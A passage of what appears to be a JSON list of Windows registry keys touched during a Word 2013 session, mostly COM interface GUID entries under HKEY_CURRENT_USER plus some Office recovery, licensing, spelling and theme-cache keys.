  1747. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D13-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1748. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D13-EC42-11CE-9E0D-00AA006002F3",
  1749. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D13-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1750. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D23-EC42-11CE-9E0D-00AA006002F3",
  1751. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D23-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1752. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D23-EC42-11CE-9E0D-00AA006002F3",
  1753. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D23-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1754. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D33-EC42-11CE-9E0D-00AA006002F3",
  1755. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D33-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1756. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D33-EC42-11CE-9E0D-00AA006002F3",
  1757. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D33-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1758. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D43-EC42-11CE-9E0D-00AA006002F3",
  1759. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D43-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1760. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D43-EC42-11CE-9E0D-00AA006002F3",
  1761. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D43-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1762. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D53-EC42-11CE-9E0D-00AA006002F3",
  1763. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D53-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1764. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D53-EC42-11CE-9E0D-00AA006002F3",
  1765. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D53-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1766. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D63-EC42-11CE-9E0D-00AA006002F3",
  1767. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D63-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1768. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D63-EC42-11CE-9E0D-00AA006002F3",
  1769. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D63-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1770. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC3-866C-11CF-AB7C-00AA00C08FCF",
  1771. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC3-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1772. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC3-866C-11CF-AB7C-00AA00C08FCF",
  1773. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC3-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1774. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\A38BFFC3-A5A0-11CE-8107-00AA00611080",
  1775. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\A38BFFC3-A5A0-11CE-8107-00AA00611080\\(Default)",
  1776. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\A38BFFC3-A5A0-11CE-8107-00AA00611080",
  1777. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\A38BFFC3-A5A0-11CE-8107-00AA00611080\\(Default)",
  1778. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\944ACF93-A1E6-11CE-8104-00AA00611080",
  1779. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\944ACF93-A1E6-11CE-8104-00AA00611080\\(Default)",
  1780. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\944ACF93-A1E6-11CE-8104-00AA00611080",
  1781. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\944ACF93-A1E6-11CE-8104-00AA00611080\\(Default)",
  1782. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC2-866C-11CF-AB7C-00AA00C08FCF",
  1783. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC2-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1784. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC2-866C-11CF-AB7C-00AA00C08FCF",
  1785. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC2-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1786. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\79176FB3-B7F2-11CE-97EF-00AA006D2776",
  1787. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\79176FB3-B7F2-11CE-97EF-00AA006D2776\\(Default)",
  1788. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\79176FB3-B7F2-11CE-97EF-00AA006D2776",
  1789. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\79176FB3-B7F2-11CE-97EF-00AA006D2776\\(Default)",
  1790. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\4C599243-6926-101B-9992-00000B65C6F9",
  1791. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\4C599243-6926-101B-9992-00000B65C6F9\\(Default)",
  1792. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\4C599243-6926-101B-9992-00000B65C6F9",
  1793. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\4C599243-6926-101B-9992-00000B65C6F9\\(Default)",
  1794. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D111-5CC6-11CF-8D67-00AA00BDCE1D",
  1795. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D111-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1796. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D111-5CC6-11CF-8D67-00AA00BDCE1D",
  1797. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D111-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1798. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D113-5CC6-11CF-8D67-00AA00BDCE1D",
  1799. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D113-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1800. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D113-5CC6-11CF-8D67-00AA00BDCE1D",
  1801. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D113-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1802. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D115-5CC6-11CF-8D67-00AA00BDCE1D",
  1803. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D115-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1804. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D115-5CC6-11CF-8D67-00AA00BDCE1D",
  1805. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D115-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1806. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D117-5CC6-11CF-8D67-00AA00BDCE1D",
  1807. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D117-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1808. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D117-5CC6-11CF-8D67-00AA00BDCE1D",
  1809. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D117-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1810. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D119-5CC6-11CF-8D67-00AA00BDCE1D",
  1811. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D119-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1812. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D119-5CC6-11CF-8D67-00AA00BDCE1D",
  1813. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D119-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1814. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D11B-5CC6-11CF-8D67-00AA00BDCE1D",
  1815. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D11B-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1816. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D11B-5CC6-11CF-8D67-00AA00BDCE1D",
  1817. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D11B-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1818. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D11D-5CC6-11CF-8D67-00AA00BDCE1D",
  1819. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D11D-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1820. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D11D-5CC6-11CF-8D67-00AA00BDCE1D",
  1821. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D11D-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1822. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D11F-5CC6-11CF-8D67-00AA00BDCE1D",
  1823. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D11F-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1824. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D11F-5CC6-11CF-8D67-00AA00BDCE1D",
  1825. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D11F-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1826. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D123-5CC6-11CF-8D67-00AA00BDCE1D",
  1827. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D123-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1828. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D123-5CC6-11CF-8D67-00AA00BDCE1D",
  1829. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D123-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1830. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D125-5CC6-11CF-8D67-00AA00BDCE1D",
  1831. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5512D125-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1832. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D125-5CC6-11CF-8D67-00AA00BDCE1D",
  1833. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5512D125-5CC6-11CF-8D67-00AA00BDCE1D\\(Default)",
  1834. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\978C9E22-D4B0-11CE-BF2D-00AA003F40D0",
  1835. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\978C9E22-D4B0-11CE-BF2D-00AA003F40D0\\(Default)",
  1836. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\978C9E22-D4B0-11CE-BF2D-00AA003F40D0",
  1837. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\978C9E22-D4B0-11CE-BF2D-00AA003F40D0\\(Default)",
  1838. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC1-AF6C-11CE-9F46-00AA00574A4F",
  1839. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC1-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
  1840. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC1-AF6C-11CE-9F46-00AA00574A4F",
  1841. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC1-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
  1842. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D12-EC42-11CE-9E0D-00AA006002F3",
  1843. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D12-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1844. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D12-EC42-11CE-9E0D-00AA006002F3",
  1845. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D12-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1846. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D22-EC42-11CE-9E0D-00AA006002F3",
  1847. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D22-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1848. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D22-EC42-11CE-9E0D-00AA006002F3",
  1849. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D22-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1850. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D32-EC42-11CE-9E0D-00AA006002F3",
  1851. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D32-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1852. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D32-EC42-11CE-9E0D-00AA006002F3",
  1853. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D32-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1854. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D42-EC42-11CE-9E0D-00AA006002F3",
  1855. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D42-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1856. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D42-EC42-11CE-9E0D-00AA006002F3",
  1857. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D42-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1858. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D52-EC42-11CE-9E0D-00AA006002F3",
  1859. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D52-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1860. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D52-EC42-11CE-9E0D-00AA006002F3",
  1861. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D52-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1862. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D62-EC42-11CE-9E0D-00AA006002F3",
  1863. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\8BD21D62-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1864. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D62-EC42-11CE-9E0D-00AA006002F3",
  1865. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\8BD21D62-EC42-11CE-9E0D-00AA006002F3\\(Default)",
  1866. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC2-AF6C-11CE-9F46-00AA00574A4F",
  1867. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC2-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
  1868. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC2-AF6C-11CE-9F46-00AA00574A4F",
  1869. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC2-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
  1870. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC7-AF6C-11CE-9F46-00AA00574A4F",
  1871. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC7-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
  1872. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC7-AF6C-11CE-9F46-00AA00574A4F",
  1873. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC7-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
  1874. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\79176FB2-B7F2-11CE-97EF-00AA006D2776",
  1875. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\79176FB2-B7F2-11CE-97EF-00AA006D2776\\(Default)",
  1876. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\79176FB2-B7F2-11CE-97EF-00AA006D2776",
  1877. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\79176FB2-B7F2-11CE-97EF-00AA006D2776\\(Default)",
  1878. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\4C5992A5-6926-101B-9992-00000B65C6F9",
  1879. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\4C5992A5-6926-101B-9992-00000B65C6F9\\(Default)",
  1880. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\4C5992A5-6926-101B-9992-00000B65C6F9",
  1881. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\4C5992A5-6926-101B-9992-00000B65C6F9\\(Default)",
  1882. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\796ED650-5FE9-11CF-8D68-00AA00BDCE1D",
  1883. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\796ED650-5FE9-11CF-8D68-00AA00BDCE1D\\(Default)",
  1884. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\796ED650-5FE9-11CF-8D68-00AA00BDCE1D",
  1885. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\796ED650-5FE9-11CF-8D68-00AA00BDCE1D\\(Default)",
  1886. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE0-6198-11CF-8CE8-00AA006CB389",
  1887. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE0-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1888. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE0-6198-11CF-8CE8-00AA006CB389",
  1889. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE0-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1890. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE1-6198-11CF-8CE8-00AA006CB389",
  1891. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE1-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1892. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE1-6198-11CF-8CE8-00AA006CB389",
  1893. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE1-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1894. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE2-6198-11CF-8CE8-00AA006CB389",
  1895. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE2-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1896. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE2-6198-11CF-8CE8-00AA006CB389",
  1897. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE2-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1898. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE3-6198-11CF-8CE8-00AA006CB389",
  1899. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE3-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1900. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE3-6198-11CF-8CE8-00AA006CB389",
  1901. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE3-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1902. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE4-6198-11CF-8CE8-00AA006CB389",
  1903. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE4-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1904. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE4-6198-11CF-8CE8-00AA006CB389",
  1905. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE4-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1906. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE5-6198-11CF-8CE8-00AA006CB389",
  1907. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE5-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1908. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE5-6198-11CF-8CE8-00AA006CB389",
  1909. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE5-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1910. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE6-6198-11CF-8CE8-00AA006CB389",
  1911. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE6-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1912. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE6-6198-11CF-8CE8-00AA006CB389",
  1913. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE6-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1914. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE8-6198-11CF-8CE8-00AA006CB389",
  1915. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE8-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1916. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE8-6198-11CF-8CE8-00AA006CB389",
  1917. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE8-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1918. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE9-6198-11CF-8CE8-00AA006CB389",
  1919. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\47FF8FE9-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1920. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE9-6198-11CF-8CE8-00AA006CB389",
  1921. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\47FF8FE9-6198-11CF-8CE8-00AA006CB389\\(Default)",
  1922. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5CEF5613-713D-11CE-80C9-00AA00611080",
  1923. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\5CEF5613-713D-11CE-80C9-00AA00611080\\(Default)",
  1924. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5CEF5613-713D-11CE-80C9-00AA00611080",
  1925. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\5CEF5613-713D-11CE-80C9-00AA00611080\\(Default)",
  1926. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\92E11A03-7358-11CE-80CB-00AA00611080",
  1927. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\92E11A03-7358-11CE-80CB-00AA00611080\\(Default)",
  1928. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\92E11A03-7358-11CE-80CB-00AA00611080",
  1929. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\92E11A03-7358-11CE-80CB-00AA00611080\\(Default)",
  1930. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC9-866C-11CF-AB7C-00AA00C08FCF",
  1931. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\04598FC9-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1932. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC9-866C-11CF-AB7C-00AA00C08FCF",
  1933. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\04598FC9-866C-11CF-AB7C-00AA00C08FCF\\(Default)",
  1934. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC8-AF6C-11CE-9F46-00AA00574A4F",
  1935. "HKEY_CURRENT_USER\\Software\\Classes\\Wow6432Node\\Interface\\7B020EC8-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
  1936. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC8-AF6C-11CE-9F46-00AA00574A4F",
  1937. "HKEY_CURRENT_USER\\Software\\Classes\\Interface\\7B020EC8-AF6C-11CE-9F46-00AA00574A4F\\(Default)",
  1938. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery",
  1939. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\2381A84",
  1940. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Resiliency\\DocumentRecovery\\2381A84\\2381A84",
  1941. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\OUTLOOKFiles",
  1942. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\General\\LastAutoSavePurgeTime",
  1943. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100A0C00000000000F01FEC\\Usage\\SpellingAndGrammarFiles_3082",
  1944. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F100C0400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1036",
  1945. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005109F10090400000000000F01FEC\\Usage\\SpellingAndGrammarFiles_1033",
  1946. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\Licensing\\09D07EFC505F4D9CBFD5ACE3217F6654",
  1947. "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Installer\\UserData\\S-1-5-18\\Products\\00005119110000000000000000F01FEC\\Usage\\ProductFiles",
  1948. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Word\\Security\\Trusted Documents\\LastPurgeTime",
  1949. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03090434",
  1950. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457503",
  1951. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033917",
  1952. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457510",
  1953. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM10001105",
  1954. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM04033919",
  1955. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457464",
  1956. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\LCCache\\Themes\\1033\\TM03457475",
